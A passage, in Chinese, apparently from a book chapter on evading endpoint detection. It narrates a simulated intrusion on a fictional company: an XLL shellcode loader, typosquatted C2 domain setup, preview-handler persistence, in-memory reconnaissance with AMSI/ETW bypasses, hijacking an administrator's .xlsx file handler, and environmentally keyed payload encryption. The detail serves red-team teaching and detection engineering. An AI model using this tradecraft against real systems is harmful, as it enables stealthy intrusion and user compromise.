shellcode❼,仍然是在 excel.exe 的上下文中运行。 我们假设 Binford 的入站邮件过滤系统允许 XLL 文件进入用户的收件箱,并将文件发送到白细胞。由于 XLL 需要从磁盘运行,白细胞将把它下载到部署了 EDR 的内部主机上。 当白细胞执行 XLL 文件时,几件事情将会发生。首先,excel.exe 将启动,并将 XLL 的路径作为参数传递进去。EDR 几乎可以肯定会通过其驱动程序的进程创建回调例程收集此信息(尽管 Microsoft-Windows-Kernel-Process ETW 提供者可以提供大部分相同的信息)。EDR 可能会围绕 XLL 文件的执行构建一个通用的检测机制,进程命令行可能会触发该检测,从而导致警报。 此外,EDR 的扫描器可能会对 XLL 文件进行访问扫描。EDR 将收集文件的属性,评估其内容,并尝试决定是否允许其运行。假设我们已经通过极好的混淆技术使得有效载荷中的 shellcode 和相关的运行器没有被扫描器检测到。 不过,我们还没有完全安全。记住,大多数 EDR 都部署在多个大规模环境中,并处理大量数据。考虑到这一点,EDR 可以评估文件的全球唯一性,即它过去见过多少次这个文件。由于我们自己编写了这个有效载荷,并且它包含与我们基础设施相关的 shellcode,因此它很可能是之前从未见过的。 幸运的是,这并不是想象中的终点。用户们一直在创建新的 Word 文档。他们为自己的组织生成报告,在会议的第三小时中用画图工具涂鸦,讨论“跨部门协作以实现关键季度目标”。如果 EDR 标记它们遇到的每一个唯一文件,系统就会产生难以承受的噪音。虽然我们的全球唯一性可能会触发某种警报,但它可能不足以启动调查,除非安全运营中心(SOC)响应与我们的活动相关的高严重性警报。 由于我们还没有被拦截,excel.exe 将加载并处理我们的 XLL。只要我们的 XLL 被加载,它将触发 DLL_PROCESS_ATTACH 代码,这将触发我们 shellcode 执行器的执行。 当我们的父进程excel.exe被启动时,EDR 注入了它的 DLL,并挂钩了我们此时尚不知情的关键函数。我们没有使用系统调用,也没有包含任何重新映射这些挂钩 DLL 的逻辑,因此我们必须通过这些挂钩,希望自己不会被捕捉到。幸运的是,许多 EDR 通常挂钩的函数主要关注远程进程注入,而这对我们没有影响,因为我们没有创建子进程来进行注入。 我们还知道,这款 EDR 使用了 Microsoft-Windows-Threat-Intelligence ETW 提供程序,因此我们的活动将受到这些传感器的监控,此外还会受到 EDR 供应商自身功能挂钩的监控。让我们来审视一下我们在有效载荷中调用的函数的风险: kernel32!VirtualAlloc() 由于这是 Windows 中标准的本地内存分配函数,并且不允许进行远程分配(即内存分配到另一个进程中),因此它的使用可能不会被单独审查。另外,因为我们没有分配可读写执行内存,这通常是恶意软件开发人员的默认选择,所以我们已经尽可能减轻了所有风险。 memcpy() 与前面的函数类似,memcpy() 是一个广泛使用的函数,通常不会受到太多审查。 kernel32!VirtualProtect() 这就是我们变得更加危险的地方。因为我们必须将分配的保护从读写转换为读执行,这一步是无法避免的。不幸的是,由于我们将所需的保护级别作为参数传递给了此函数,EDR 可以轻松地通过函数挂钩来识别这种技术。此外,nt!EtwTiLogProtectExecVm() 传感器将检测到保护状态的变化,并通知 Microsoft-Windows-Threat-Intelligence ETW 提供者的消费者。 kernel32!CreateThread() 单独来看,这个函数并没有太大风险,因为它是多线程 Win32 应用程序中创建新线程的标准方式。然而,由于我们已经执行了之前的三个操作,组合起来可能表明系统中存在恶意软件,因此它的使用可能就是压垮骆驼的最后一根稻草,导致警报触发。不幸的是,我们没有太多的选择来避免使用它,所以我们只能坚持下去,并希望如果我们已经走到这一步,我们的 shellcode 就会成功执行。 这种 shellcode 运行技术可以通过很多方式进行优化,但与教科书中基于 kernel32!CreateRemoteThread() 的远程进程注入方法相比,它还算不错。如果我们假设这些指标能够躲过 EDR 的传感器,那么我们的代理 shellcode 将会执行并开始与我们的命令与控制基础设施进行通信。 大多数恶意代理以类似的方式建立命令与控制。代理向服务器发送的第一条消息是一个签到信息:“我是主机 X 上的新代理!”当服务器接收到这个签到消息时,它会回复:“你好,主机 X 上的代理!休眠一段时间后,再次向我发送消息以获取任务。”然后,代理会按照服务器指定的时间进行空闲,之后再次发送消息:“又回来啦。这次我准备好执行任务了。”如果操作员为代理指定了任务,服务器会以某种代理能够理解的格式传递这些信息,代理会执行任务。否则,服务器会告诉代理休眠并稍后再试。 命令与控制代理如何逃避基于网络的检测?大多数情况下,通信发生在 HTTPS 上,这是大多数操作员的最爱通道,因为它可以让他们的消息与通过 TCP 443 端口常规流向互联网的大量流量混合。在使用此协议(及其不太安全的姊妹协议 HTTP)时,通信必须遵循某些约定。 例如,一个请求必须为 GET 请求(用于检索数据)和 POST 请求(用于发送数据)提供一个统一资源标识符(URI)路径。虽然这些 URI 在每个请求中技术上不必相同,但许多商业指挥与控制框架会重复使用一个静态 URI 路径。此外,代理和服务器必须有一个约定的通信协议,基于 HTTPS。这意味着它们的消息通常遵循类似的模式。例如,签到请求和任务轮询的长度可能是静态的,且可能以固定的时间间隔发送。 这一切的意思是,即使指挥与控制流量试图在噪声中混淆,它仍然会生成强烈的信标活动指示符。一个知道该寻找什么的 EDR 开发者可以利用这些指示符将恶意流量从正常流量中挑出来,可能会使用网络过滤驱动程序和像 Microsoft-Windows-WebIO、Microsoft-Windows-DNS-Client 等 ETW 提供者。虽然 HTTPS 消息的内容是加密的,但许多重要的细节仍然可以读取,例如 URI 路径、头信息、消息长度以及消息发送的时间。 知道了这一点,我们如何设置我们的指挥与控制?我们的 HTTPS 通道使用域名 blnfordtools.com。我们在操作前几周购买了该域名,将 DNS 指向了一个 DigitalOcean 虚拟私人服务器(VPS),并在 VPS 上配置了 NGINX Web 服务器,使用 LetsEncrypt SSL 证书。GET 请求将被发送到/home/catalog端点,POST 请求将发送到/search?q=6100,希望这些请求能融入到浏览工具制造商网站时产生的正常流量中。我们将默认的休眠间隔设置为五分钟,以便我们能迅速下发任务给代理而不会过于引人注目,并且使用 20%的抖动来增加请求时间的变化性。 这种指挥与控制策略看起来可能不安全;毕竟,我们使用的是一个新注册的、被拼写错误劫持的域名,且托管在一个便宜的 VPS 上。但让我们考虑一下 EDR 的传感器实际上可以捕获到什么: 一个可疑的进程正在建立出站网络连接 异常的 DNS 查询 值得注意的是,所有与我们基础设施相关的奇怪行为和信标活动的指示符都没有出现。 尽管 EDR 的传感器可以收集到所需的数据,从而确定被攻陷的主机正在连接一个新注册的、未分类的域名,该域名指向一个可疑的 VPS,但实际上执行这些操作意味着要进行大量的支持性工作,这可能会对系统性能产生负面影响。 例如,为了跟踪域名分类,EDR 需要联系一个声誉监控服务。为了获取注册信息,它需要查询注册商。为了对目标系统上的所有连接执行这一切操作将是困难的。因此,EDR 代理通常将这些责任转移到中央 EDR 服务器上,服务器异步执行查找,并在必要时根据结果触发警报。 信标的指标缺失几乎是由于相同的原因。如果我们的休眠间隔是像 10 秒钟并且带有 10%的抖动,检测信标可能就像遵循以下规则那样简单:“如果该系统在每次请求之间的间隔为 9 到 11 秒,且发送超过 10 次请求到一个网站,则触发警报。”但是,当休眠间隔为五分钟且带有 20%的抖动时,系统必须在每个端点每次请求之间间隔四到六分钟的情况下生成警报,这将要求维持每个出站网络连接的滚动状态,持续时间为 40 分钟到 1 小时。想象一下你每天访问多少个网站,你就能明白为什么这个功能更适合放在中央服务器上。 对初始访问阶段(以及任何我们派发代理的未来阶段)构成的最后一个重大威胁是 EDR 的内存扫描器。与文件扫描器类似,这个组件通过静态签名寻求检测系统中恶意软件的存在。它不是从磁盘读取文件并解析其内容,而是在文件被映射到内存后扫描它。这使得扫描器可以评估文件的内容,在它被去混淆后,再将其传递给 CPU 执行。就我们的载荷而言,这意味着我们的解密代理 shellcode 将存在于内存中;扫描器只需找到它并识别为恶意代码。 一些代理程序包含了在非活动期间隐藏代理存在于内存中的功能。这些技术的效果各不相同,扫描器仍然可能通过捕捉代理在这些休眠期之间的活动来检测到 shellcode。即便如此,定制的 shellcode 和定制的代理通常更难通过静态签名进行检测。我们假设我们的定制、手工制作的指令与控制代理足够新颖,能够避开内存扫描器的检测。 到此为止,一切对我们有利:我们最初的信标没有触发任何值得 SOC 关注的警报。我们已经建立了对目标系统的访问权限,并可以开始进行事后渗透活动。 现在我们已经进入目标环境,需要确保能够应对技术性或人为引起的连接中断。在这一阶段,我们的访问如此脆弱,如果我们的代理出了问题,我们就必须从头开始。因此,我们需要设置某种持久性机制,如果情况变糟,可以建立新的指挥与控制连接。 持久性是一件棘手的事情。我们可以选择的选项数量庞大,每个选项都有优缺点。一般来说,我们在选择持久性技术时会评估以下度量标准: 可靠性 持久性技术触发我们行动的确定性程度(例如,启动一个新的指挥与控制代理) 可预测性 持久性触发时的确定性程度 所需权限 设置该持久性机制所需的访问级别 所需的用户或系统行为 为了触发我们的持久性,系统必须发生的任何操作,例如系统重启或用户闲置 检测风险 该技术固有的检测风险 让我们以创建计划任务为例。表 13-1 展示了该技术如何使用我们的度量标准执行。最初一切看起来都很不错。计划任务像劳力士一样运行,非常容易设置。我们遇到的第一个问题是,创建新的计划任务需要本地管理员权限,因为相关的目录,*C:\Windows\System32\Tasks*,标准用户无法访问。 表 13-1: 评估计划任务作为持久性机制 然而,对我们来说,最大的问题是检测风险。攻击者利用计划任务已经有几十年的历史了。可以公平地说,任何一个值得信赖的 EDR 代理都能够检测到新计划任务的创建。事实上,MITRE 的ATT&CK 评估,这是一个许多供应商每年参与的能力验证过程,使用计划任务创建作为 APT3(一个被归类为中国国家安全部的高级持续性威胁组织)测试标准之一。由于保持隐蔽性是我们的一个重要目标,这种技术对我们来说是不适用的。 那么,我们应该选择哪种持久性机制呢?几乎每个 EDR 供应商的营销活动都声称它覆盖了大多数已分类的 ATT&CK 技术。ATT&CK 是一个我们了解并且在追踪的已知攻击者技术的集合。但未知的技术呢?那些我们大多数还不了解的技术呢?供应商无法保证涵盖这些技术;它们也无法与这些技术进行评估。即使一个 EDR 具备检测这些未分类技术的能力,它也可能没有适当的检测逻辑来理解这些技术生成的遥测数据。 为了降低被检测的可能性,我们可以研究、识别并开发这些“已知的未知”。为此,我们使用Shell 预览处理程序,这是一种持久性技术,我和我的同事 Emily Leidy 曾在博客文章《Life Is Pane: 通过预览处理程序实现持久性》中发表过研究。预览处理程序安装一个应用程序,当在 Windows 资源管理器中查看具有特定扩展名的文件时,它会呈现该文件的预览。在我们的案例中,我们注册的应用程序将是我们的恶意软件,它将启动一个新的命令和控制代理。这个过程几乎完全是在注册表中完成的;我们将创建新的键值来注册一个 COM 服务器。表 13-2 评估了这一技术的风险。 表 13-2: 评估 Shell 预览处理程序作为持久性机制 如你所见,这些“已知的未知”在某些方面会交换优点和弱点。预览处理程序需要的权限较少,并且更难被检测到(尽管仍然可能被检测到,因为它们的安装需要在主机上进行非常特定的注册表更改)。然而,由于需要用户交互,它们比计划任务更难以预测。对于检测不是重大问题的操作来说,可靠性和可用性可能会超过其他因素。 假设我们使用这个持久化机制。在 EDR 中,传感器现在正在努力收集与劫持的预览处理程序相关的遥测数据。我们不得不将一个包含我们备份代理程序的 DLL 从excel.exe写入磁盘,因此扫描器可能会对其进行彻底检查,假设 Excel 写入新 DLL 这一行为本身不够可疑。我们还必须创建大量的注册表项,由驱动程序的注册表通知回调例程处理这些注册表项。 此外,我们的操作生成的与注册表相关的遥测数据可能有些难以管理。这是因为 COM 对象注册很难从大量的注册表数据中筛选出来,而且很难将无害的 COM 对象注册与恶意的注册区分开来。此外,虽然 EDR 可以监控新预览处理程序注册表项值的创建,因为它有一个标准格式和位置,但这需要在类标识符(作为值写入)和与该类标识符相关的 COM 对象注册之间进行查找,而这在传感器级别是不可行的。 另一个检测风险是我们手动启用 Explorer 的预览窗格。单独来看,这并不是疯狂的行为。用户可以随时通过文件浏览器手动启用或禁用预览窗格。它也可以通过组策略对象在整个企业范围内启用。在这两种情况下,进行更改的进程(例如,在手动启用的情况下是explorer.exe)是已知的,这意味着可能会有一个检测针对不寻常进程设置此注册表值的机制。如果excel.exe进行此更改,那就完全不寻常了。 最后,每当持久化被触发时,Explorer 都必须加载我们的 DLL。这个 DLL 不会由微软签名(或者可能根本不被签名)。驱动程序的图像加载回调通知例程将负责检测这个 DLL 是否被加载,并可以检查该图像的签名以及其他元数据,从而提示代理即将将一段恶意软件映射到 Explorer 的地址空间。当然,我们可以通过使用有效的代码签名证书来签署我们的 DLL,从而缓解一些风险,但这对于许多威胁行为者来说,无论是现实中的还是模拟的,都是无法实现的。 我们将在可预测性方面做出权衡,以降低被检测的风险。我们选择通过将处理程序 DLL 写入磁盘、执行所需的 COM 注册,并在注册表中手动启用资源管理器的预览窗格(如果它尚未启用)来安装一个预览处理程序,用于.docx文件扩展名。 现在我们已经建立了持久性,我们可以开始冒更多的风险。接下来,我们需要弄清楚如何到达目标位置。这时你必须最为谨慎地考虑检测问题,因为根据你做什么以及如何做,你会生成完全不同的指示器。 我们需要一种方法来运行侦察工具而不被检测到。我最喜欢的本地侦察工具之一是 Seatbelt,这是一款由 Lee Christensen 和 Will Schroeder 编写的基于主机的态势感知工具。它可以枚举大量关于当前系统的信息,包括正在运行的进程、映射的驱动器以及系统在线的时间。 运行 Seatbelt 的一种常见方法是使用命令与控制代理的内置功能,例如 Cobalt Strike Beacon 的 execute-assembly,将其.NET 程序集加载到内存中执行。通常,这涉及到生成一个牺牲进程,将.NET 公共语言运行时加载到其中,并指示它运行指定的.NET 程序集,并传入提供的参数。 这种技术比试图将工具放置到目标的文件系统上并从那里执行它的检测风险要小得多,但它并非没有风险。事实上,EDR 可能会通过各种方式抓住我们: 子进程创建 EDR 的进程创建回调程序可能会检测到牺牲进程的创建。如果父进程的子进程是非典型的,它可能会触发警报。 异常模块加载 父进程生成的牺牲进程通常不会加载公共语言运行时,如果它是一个非托管进程。这可能会引起 EDR 的映像加载回调程序的警觉,表明正在使用内存中的.NET 技术。 公共语言运行时 ETW 事件 每当公共语言运行时被加载并运行时,它会通过 Microsoft-Windows-DotNETRuntime ETW 提供程序发出事件。这允许消费其事件的 EDR 识别与系统上执行的程序集相关的关键信息,例如它们的命名空间、类和方法名称以及平台调用签名。 反恶意软件扫描接口 如果我们加载了 4.8 版或更高版本的.NET 公共语言运行时,AMSI 就成了我们的关注点。AMSI 将检查我们程序集的内容,每个注册的提供者都有机会确定其内容是否恶意。 公共语言运行时钩子 尽管本书没有直接涉及这一技术,但许多 EDR(端点检测与响应)使用钩子在公共语言运行时上拦截特定的执行路径,检查参数和返回值,并可选择性地阻止它们。例如,EDR 通常监控反射,这是.NET 的一个特性,允许操作已加载的模块等内容。以这种方式钩住公共语言运行时的 EDR 可能能够看到 AMS 独立无法检测到的内容,并发现对已加载的amsi.dll的篡改。 工具特定指标 我们的工具加载后所采取的操作可能会生成额外的指标。例如,Seatbelt 会查询许多注册表键值。 简而言之,大多数厂商知道如何识别内存中.NET 程序集的执行。幸运的是,我们有一些替代程序以及可以做出的技术决策,可以帮助我们减少暴露风险。 一个例子是InlineExecute-Assembly Beacon 对象文件,这是 Cobalt Strike 的 Beacon 的一个开源插件,允许操作员执行正常的 execute-assembly 模块所能做的一切,但不需要生成新的进程。在技术操作方面,如果我们当前的进程是受管理的(例如,.NET),那么加载公共语言运行时将是预期的行为。将这些与绕过 AMSI 和.NET 运行时 ETW 提供程序结合使用,我们就将检测风险限制到了任何放置在公共语言运行时的钩子和工具特有的指标,而这些可以独立处理。如果我们实施这些技术手段和程序性变化,我们就处于一个相对安全的位置,可以顺利运行 Seatbelt。 我们知道我们需要扩展对 Binford 环境中其他主机的访问权限。我们还知道,根据我们的联系人,我们当前的用户权限较低,并没有被授予远程系统的管理员访问权限。然而,记住,Binford 为所有域用户在指定的工作站上授予本地管理员权限,这样他们就可以安装应用程序,而不会让帮助台团队负担过重。这一切意味着,除非我们能够进入另一个用户的上下文,否则我们无法在网络中移动,但我们也有一些方法可以实现这一目标。 为了获取另一个用户的身份,我们可以从 LSASS 中提取凭据。不幸的是,使用 PROCESS_VM_READ 权限打开 LSASS 的句柄,在面对现代 EDR 时可能会给我们的操作带来致命风险。有许多方法可以绕过使用这些权限打开句柄,例如窃取其他进程打开的句柄,或者用 PROCESS_DUP_HANDLE 权限打开句柄,然后在调用 kernel32!DuplicateHandle() 时更改请求的权限。然而,我们仍然在运行 excel.exe(如果我们的持久化机制已启动,则可能是 explorer.exe),打开一个新进程句柄可能会引起进一步的调查,甚至可能会直接生成警报。 如果我们想以另一个用户的身份行事,但又不想接触 LSASS,我们仍然有很多选择,特别是因为我们是本地管理员。 我最喜欢的一种方法是针对我知道已经登录系统的用户。为了查看可用的用户,我们可以运行 Seatbelt 的 LogonEvents 模块,该模块可以告诉我们最近有哪些用户登录过。这将生成一些与 Seatbelt 的默认命名空间、类和方法名称相关的指示符,但我们可以在编译程序集之前简单地更改这些名称。一旦我们从 Seatbelt 获取结果,我们还可以使用 dir 或等效的目录列出工具检查 *C:\Users* 下的子目录,看看哪些用户在系统上有主文件夹。 我们执行 LogonEvents 模块时,返回了过去 10 天内用户 TTAYLOR.ADMIN@BINFORD.COM 的多个登录事件。从名字推测,我们可以假定该用户是某个系统的管理员,尽管我们不确定具体是哪个系统。 下面是两种针对你正在操作的系统用户的攻击方法:通过在用户桌面上为他们经常打开的应用程序(如浏览器)植入一个.lnk文件,或者通过注册表修改劫持目标用户的文件处理程序。这两种技术都依赖于在主机上创建新文件。然而,.lnk文件的使用已经在公共报告中得到了广泛的覆盖,因此其创建可能会被检测到。文件处理程序劫持较少受到关注。因此,它们的使用可能对我们操作的安全性构成较小的风险。 对于不熟悉这种技术的读者,让我们来介绍相关的背景信息。Windows 需要知道哪些应用程序可以打开具有特定扩展名的文件。例如,浏览器默认打开.pdf文件,尽管用户可以更改这个设置。这些扩展名到应用程序的映射存储在注册表中,系统范围内的处理程序存储在HKLM:\Software\Classes*,而每个用户的注册信息存储在HKU:<SID>\SOFTWARE\Classes*中。 通过将特定文件扩展名的处理程序更改为我们实现的程序,我们可以让我们的代码在打开被劫持文件类型的用户的上下文中执行。然后,我们可以打开合法的应用程序,欺骗用户以为一切正常。为了使其工作,我们必须创建一个工具,首先运行我们的代理 shellcode,然后将要打开的文件的路径代理到原始文件处理程序。 shellcode 执行部分可以使用任何执行我们代理代码的方法,因此它将继承该执行方法特有的指示符。这与我们最初的访问载荷相同,因此我们不会再次详细讨论。代理部分可以像调用kernel32!CreateProcess()一样简单,将操作系统在用户尝试打开文件时传递的参数传递给目标文件处理程序。根据劫持的目标,这可能会创建一个异常的父子进程关系,因为我们的恶意中介处理程序将成为合法处理程序的父进程。在其他情况下,如.accountpicture-ms文件,处理程序是一个被加载到explorer.exe中的 DLL,这样子进程看起来更像是explorer.exe的子进程,而不是另一个可执行文件的子进程。 因为我们仍在运行excel.exe,所以修改任意文件处理程序的二进制文件可能会引起 EDR 监控注册表事件时的异常。然而,Excel 直接负责某些文件扩展名的处理,例如.xlsx和.csv。如果检测是一个问题,最好选择一个适合上下文的处理程序。 不幸的是,微软已经实施了一些措施,限制了我们通过直接修改注册表来更改与某些文件扩展名关联的处理程序的能力;它检查每个应用程序和用户特有的哈希值。我们可以通过查找包含名为 Hash 的 UserChoice 子键来枚举这些受保护的文件扩展名。受保护的文件扩展名包括 Office 文件类型(如 .xlsx 和 .docx)、.pdf、.txt 和 .mp4 等。如果我们想劫持与 Excel 相关的文件扩展名,我们需要以某种方式弄清楚微软用于生成这些哈希值的算法,并重新实现它。 幸运的是,GitHub 用户“default-username-was-already-taken”提供了所需哈希算法的 PowerShell 版本,Set-FileAssoc.ps1。使用 PowerShell 可能会有些棘手;它会受到 AMSI、高级脚本块日志记录以及消费者监视相关 ETW 提供程序的严格审查。有时,powershell.exe 的启动本身就可能触发对可疑进程的警报。 因此,我们的目标是以最安全的方式使用 PowerShell,尽可能降低暴露的风险。让我们仔细看看,在目标系统上执行这个脚本可能如何导致我们被发现,以及我们可以采取哪些措施来降低风险。 如果你自己查看这个脚本,你会发现它并不令人过于担忧;它看起来像是一个标准的管理工具。脚本首先为 advapi32!RegQueryInfoKey() 函数设置一个 P/Invoke 签名,并添加一个名为 HashFuncs 的自定义 C# 类。它定义了几个与注册表交互、枚举用户和计算 UserChoice 哈希值的辅助函数。最后一块执行脚本,设置指定文件扩展名的新文件处理程序和哈希值。 这意味着我们不需要做太多修改。我们需要担心的唯一问题是一些静态字符串,因为这些是传感器会捕捉到的内容。我们可以删除绝大部分这些字符串,因为它们是为了调试目的而包含的。其余的我们可以重命名,或者篡改。这些字符串包括变量的内容,以及脚本中使用的变量名、函数名、命名空间和类名。所有这些值完全由我们控制,因此我们可以根据需要随意更改它们。 然而,我们确实需要小心修改这些值。EDR 可以通过查看字符串的熵或随机性来检测脚本混淆。在一个真正随机的字符串中,字符应该均匀分布。在英语中,五个最常用的字母是 E、T、A、O 和 I;较少使用的字母包括 Z、X 和 Q。将我们的字符串重命名为像 z0fqxu5 和 xyz123 这样的值,可能会引起 EDR 对高熵字符串的警觉。相反,我们可以简单地使用英语单词,如 eagle 和 oatmeal,来进行字符串替换。 接下来我们需要做出的决定是如何执行这个 PowerShell 脚本。以 Cobalt Strike Beacon 为例的代理,我们在命令与控制代理中有几个现成的选项: 将文件放到磁盘上,并直接用 powershell.exe 执行它。 使用下载框架和 powershell.exe 在内存中执行脚本。 使用未管理的 PowerShell(powerpick)在牺牲进程中执行脚本。 将未管理的 PowerShell 注入到目标进程并在内存中执行脚本(psinject)。 选项 1 是最不推荐的,因为它涉及 Excel 很少执行的活动。选项 2 稍好一些,因为我们不再需要将脚本放到主机的文件系统上,但它引入了高度可疑的指示符,包括在我们从载荷托管服务器请求脚本时生成的网络工件以及 Excel 调用 powershell.exe 并从互联网上下载脚本的行为。 选项 3 比前两个略好一些,但也不是没有风险。创建子进程始终是危险的,尤其是与代码注入结合时。选项 4 并不比选项 3 好多少,因为它去掉了创建子进程的要求,但仍然需要打开对现有进程的句柄并向其中注入代码。 如果我们认为选项 1 和 2 不可行,因为我们不希望 Excel 启动 powershell.exe,那么我们就只剩下在选项 3 和 4 之间做出选择。没有绝对正确的答案,但我觉得使用牺牲进程的风险比注入到另一个进程中的风险更能接受。牺牲进程将在脚本执行完成后终止,从主机中移除持久性工件,包括加载的 DLL 和内存中的 PowerShell 脚本。如果我们注入到另一个进程中,这些指标即使在脚本执行完成后,仍可能会保留在宿主进程中。因此,我们将选择选项 3。 接下来,我们需要决定我们的劫持目标是什么。如果我们想要不加区分地扩展访问权限,我们会劫持整个系统的扩展名。但是,我们的目标是用户 TTAYLOR.ADMIN。由于我们在当前系统上具有本地管理员权限,因此我们可以通过 HKU hive 修改特定用户的注册表键,前提是我们知道该用户的安全标识符(SID)。 幸运的是,有一种方法可以从 Seatbelt 的 LogonEvents 模块中获取 SID。每个 4624 事件都会在 SubjectUserSid 字段中包含用户的 SID。Seatbelt 在代码中将此属性注释掉,以保持输出的简洁,但我们可以简单地取消注释该行并重新编译工具,以便在不运行其他任何操作的情况下获取该信息。 收集了所有必要的信息后,我们可以劫持仅针对该用户的 .xlsx 文件扩展名的处理程序。我们需要做的第一件事是创建恶意处理程序。这个简单的应用程序将执行我们的 shellcode,然后打开目标文件句柄,这应该会以用户预期的方式打开用户选择的文件。此文件需要写入目标文件系统,因此我们知道我们将在上传时或根据 EDR 的 minifilter 配置在首次调用时被扫描。为了减少一些风险,我们可以通过混淆恶意处理程序的方式,尽可能地避免被扫描工具发现。 我们需要掩盖的第一个大问题是文件中悬挂的巨大的代理 shellcode 数据块。如果我们不对其进行混淆,成熟的扫描器会很快识别出我们的处理程序是恶意的。我最喜欢的一种掩盖这些代理 shellcode 数据块的方法叫做 环境键控。其大致思路是,使用从系统或运行环境中某些唯一属性派生的对称密钥加密 shellcode。这个属性可以是从目标的内部域名到系统硬盘的序列号等任何内容。 在我们的案例中,我们的目标是用户 TTAYLOR.ADMIN@BINFORD.COM,所以我们使用他们的用户名作为我们的密钥。因为我们希望密钥在我们的有效载荷落入事件响应者手中时难以暴力破解,我们通过重复字符串将密钥填充为 32 个字符,生成的对称密钥如下:TTAYLOR.ADMIN@BINFORD.COMTTAYLOR。我们还可以将其与其他属性(如系统的当前 IP 地址)结合,以增加字符串的多样性。 在我们的有效载荷开发系统中,我们生成代理壳码并使用对称密钥算法——比如 AES-256——以及我们的密钥对其进行加密。然后,我们将未混淆的壳码替换为加密后的二进制数据。接下来,我们需要添加密钥衍生和解密函数。为了获取我们的密钥,载荷需要查询执行用户的用户名。有一些简单的方法可以做到这一点,但请记住,衍生方法越简单,熟练的分析师越容易逆向推断其逻辑。识别用户姓名的方法越隐蔽越好;我将找到合适策略的任务留给读者。解密函数则更加直接。我们只需将密钥填充至 32 字节,然后通过标准的 AES-256 解密实现将加密的壳码和密钥传入,最后保存解密后的结果。 现在,诀窍来了。只有我们预定的用户应该能够解密载荷,但我们不能保证它不会落入 Binford 的 SOC 或托管安全服务提供商的手中。为了应对这种可能性,我们可以使用一个篡改传感器,其工作原理如下。如果解密按预期工作,解密后的缓冲区将被已知内容填充,我们可以对其进行哈希处理。如果使用了错误的密钥,结果缓冲区将无效,导致哈希不匹配。我们的应用程序可以在执行解密后的缓冲区之前对其哈希进行计算,并在检测到哈希不匹配时通知我们。这个通知可以是向一个 Web 服务器发送的 POST 请求,或者像更改我们监控系统中特定文件的时间戳这样微妙的动作。然后,我们可以启动完整的基础设施拆解,以防事件响应人员开始攻击我们的基础设施,或简单地收集故障信息并做出相应调整。 由于我们知道只会在一个主机上部署此有效载荷,因此我们选择时间戳监控方法。这种方法的实现无关紧要,而且检测的痕迹非常小;我们只是更改一些深藏在某个目录中的文件的时间戳,然后使用一个持久守护进程来监视它的变化,并在发现变化时通知我们。 现在,我们需要弄清楚合法处理程序的位置,以便将打开.xlsx文件的请求代理到它。我们可以从特定用户的注册表中获取这个路径,如果我们知道他们的 SID,而我们的修改版 Seatbelt 工具告诉我们,TTAYLOR.ADMIN@BINFORD.COM的 SID 是S-1-5-21-486F6D6549-6D70726F76-656D656E7-1032。我们在HKU:\S-1-5-21-486F6D6549-6D70726F76-656D656E7-1032\SOFTWARE\Microsoft\Windows\CurrentVersion\Extensions中查询xlsx值,这将返回C:\Program Files (x86)\Microsoft Office\Root\Office16\EXCEL.EXE。然后,在我们的处理程序中,我们编写一个快速函数来调用kernel32!CreateProcess(),并传递真实excel.exe的路径,以及第一个参数,它将是要打开的.xlsx文件的路径。这个操作应该在我们的 shellcode 运行器之后执行,但不应等待它完成,以便生成的代理程序对用户是明显的。 在编译我们的处理程序时,有几件事我们需要做以避免被检测。这些包括: 删除或混淆所有字符串常量 这将减少基于我们代码中使用的字符串生成签名或触发签名的可能性。 禁用程序数据库(PDB)文件的创建 这些文件包含用于调试我们应用程序的符号,而我们在目标系统上不需要这些文件。它们可能会泄露有关我们构建环境的信息,例如项目编译时的路径。 填充图像详情 默认情况下,我们编译的处理程序在检查时只包含基本信息。为了让内容看起来更真实,我们可以填充发布者、版本、版权信息以及在文件属性的“详细信息”标签中看到的其他信息。 当然,我们可以采取额外的措施来进一步保护我们的处理程序,例如使用 LLVM 来混淆编译的代码,并用代码签名证书对.exe进行签名。但由于这种技术被检测到的风险已经相当低,并且我们已经采取了一些保护措施,因此我们将这些额外的措施留待以后再说。 一旦我们将这些优化应用到处理程序并在模拟 Binford 系统的实验环境中进行了测试,我们就可以准备部署它了。 注册文件或协议处理程序看似相对简单;你只需将合法的处理程序路径替换为自己的路径。仅此而已?其实不完全是。几乎所有的文件处理程序都会使用程序标识符(ProgID)进行注册,这是一个用于标识 COM 类的字符串。为了遵循这个标准,我们需要注册我们自己的 ProgID,或者劫持现有的 ProgID。 劫持现有的 ProgID 可能很危险,因为它可能会破坏系统中的某些功能,并让用户意识到某些不对劲,所以在这种情况下这可能不是最佳策略。我们也可以尝试寻找一个废弃的 ProgID:它曾经与系统中安装的某个软件相关联。有时,当软件被卸载时,卸载程序未能删除相关的 COM 注册。但是,找到这些情况的机会相对较小。 相反,我们选择注册自己的 ProgID。由于 EDR 很难在大规模上监控所有注册表键的创建以及所有值的设置,因此我们恶意的 ProgID 注册很可能不会引起注意。表 13-3 展示了我们在目标用户注册表下需要做的基本修改。 表 13-3: 要为处理程序注册而创建的键 在将更改部署到实际目标之前,我们可以使用 列表 13-2 中显示的 PowerShell 命令在实验室环境中验证它们。 列表 13-2:验证 COM 对象注册 我们获取与 ProgID 相关的类型,然后将其传递给一个函数,创建一个 COM 对象的实例。最后的命令显示我们服务器支持的方法,作为最终的检查。如果一切正常,我们应该会通过这个新实例化的对象看到我们在 COM 服务器中实现的方法。 现在我们可以将处理程序上传到目标的文件系统中。这个可执行文件可以写入用户有权限访问的任何位置。你可能会倾向于将它隐藏在与 Excel 操作无关的某个深层文件夹中,但当执行时,这样的做法可能显得有些奇怪。 相反,将其隐藏在明面上可能是我们最好的选择。由于我们是该系统的管理员,我们可以写入真实版本的 Excel 安装目录。如果我们将文件与 excel.exe 一起放置,并将其命名为某个无害的名字,它看起来可能就不那么可疑了。 一旦我们将文件保存到磁盘,EDR 将会对其进行扫描。希望我们设置的保护措施能够确保它不会被判定为恶意文件(尽管我们可能直到文件执行后才知道这一点)。如果文件没有立即被隔离,我们可以通过修改注册表来继续操作。 修改注册表是相对安全的,具体取决于修改的内容。如第五章所述,注册表回调通知可能需要处理每秒成千上万的注册表事件。因此,它们必须限制监视的内容。大多数 EDR 仅监视与特定服务相关的键,以及子键和值,例如 RunAsPPL 值,它控制 LSASS 是否作为受保护的进程启动。这对我们有利,因为虽然我们知道我们的操作会生成遥测数据,但我们不会触碰任何可能被监视的键。 话虽如此,我们应尽量减少修改。我们的 PowerShell 脚本将修改目标用户的注册表项中的值,如表 13-4 所示。 表 13-4: 处理程序注册期间修改的注册表键 一旦这些注册表更改完成,我们的处理程序应该能够在系统上运行。每当用户下次打开一个 .xlsx 文件时,我们的处理程序将通过公共语言运行时被调用,执行我们的 Shellcode,然后打开真实的 Excel 